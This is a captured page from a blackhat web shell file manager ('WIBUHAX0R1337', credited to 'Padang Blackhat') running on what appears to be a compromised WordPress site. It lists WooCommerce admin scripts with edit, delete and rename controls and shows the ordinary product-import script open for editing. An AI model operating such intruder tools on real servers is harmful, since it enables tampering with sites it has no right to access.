-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
www
/
wp-content
/
plugins
/
woocommerce
/
legacy
/
js
/
admin
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
.htaccess
0.231KB
Edit File
Delete File
Rename
api-keys.js
3.893KB
Edit File
Delete File
Rename
backbone-modal.js
3.46KB
Edit File
Delete File
Rename
marketplace-suggestions.js
15.591KB
Edit File
Delete File
Rename
meta-boxes-order.js
46.839KB
Edit File
Delete File
Rename
meta-boxes-product-variation.js
33.524KB
Edit File
Delete File
Rename
meta-boxes.js
2.331KB
Edit File
Delete File
Rename
network-orders.js
2.338KB
Edit File
Delete File
Rename
product-ordering.js
2.258KB
Edit File
Delete File
Rename
quick-edit.js
6.779KB
Edit File
Delete File
Rename
settings-views-html-settings-tax.js
11.933KB
Edit File
Delete File
Rename
settings.js
5.462KB
Edit File
Delete File
Rename
system-status.js
3.551KB
Edit File
Delete File
Rename
term-ordering.js
4.18KB
Edit File
Delete File
Rename
users.js
3.784KB
Edit File
Delete File
Rename
wc-clipboard.js
0.849KB
Edit File
Delete File
Rename
wc-enhanced-select.js
10.412KB
Edit File
Delete File
Rename
wc-orders.js
1.903KB
Edit File
Delete File
Rename
wc-product-export.js
3.632KB
Edit File
Delete File
Rename
wc-product-import.js
2.578KB
Edit File
Delete File
Rename
wc-setup.js
10.049KB
Edit File
Delete File
Rename
wc-shipping-classes.js
7.922KB
Edit File
Delete File
Rename
wc-shipping-zone-methods.js
15.153KB
Edit File
Delete File
Rename
wc-shipping-zones.js
8.986KB
Edit File
Delete File
Rename
wc-status-widget.js
0.72KB
Edit File
Delete File
Rename
woocommerce_admin.js
14.972KB
Edit File
Delete File
Rename
/*global ajaxurl, wc_product_import_params */ ;(function ( $, window ) { /** * productImportForm handles the import process. */ var productImportForm = function( $form ) { this.$form = $form; this.xhr = false; this.mapping = wc_product_import_params.mapping; this.position = 0; this.file = wc_product_import_params.file; this.update_existing = wc_product_import_params.update_existing; this.delimiter = wc_product_import_params.delimiter; this.security = wc_product_import_params.import_nonce; // Number of import successes/failures. this.imported = 0; this.failed = 0; this.updated = 0; this.skipped = 0; // Initial state. this.$form.find('.woocommerce-importer-progress').val( 0 ); this.run_import = this.run_import.bind( this ); // Start importing. this.run_import(); }; /** * Run the import in batches until finished. */ productImportForm.prototype.run_import = function() { var $this = this; $.ajax( { type: 'POST', url: ajaxurl, data: { action : 'woocommerce_do_ajax_product_import', position : $this.position, mapping : $this.mapping, file : $this.file, update_existing : $this.update_existing, delimiter : $this.delimiter, security : $this.security }, dataType: 'json', success: function( response ) { if ( response.success ) { $this.position = response.data.position; $this.imported += response.data.imported; $this.failed += response.data.failed; $this.updated += response.data.updated; $this.skipped += response.data.skipped; $this.$form.find('.woocommerce-importer-progress').val( response.data.percentage ); if ( 'done' === response.data.position ) { var file_name = wc_product_import_params.file.split( '/' ).pop(); window.location = response.data.url + '&products-imported=' + parseInt( $this.imported, 10 ) + '&products-failed=' + parseInt( $this.failed, 10 ) + '&products-updated=' + parseInt( $this.updated, 10 ) + '&products-skipped=' + parseInt( $this.skipped, 10 ) + '&file-name=' + file_name; } else { $this.run_import(); } } } } ).fail( function( response ) { window.console.log( response ); } ); }; /** * Function to call productImportForm on jQuery selector. */ $.fn.wc_product_importer = function() { new productImportForm( this ); return this; }; $( '.woocommerce-importer' ).wc_product_importer(); })( jQuery, window );
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat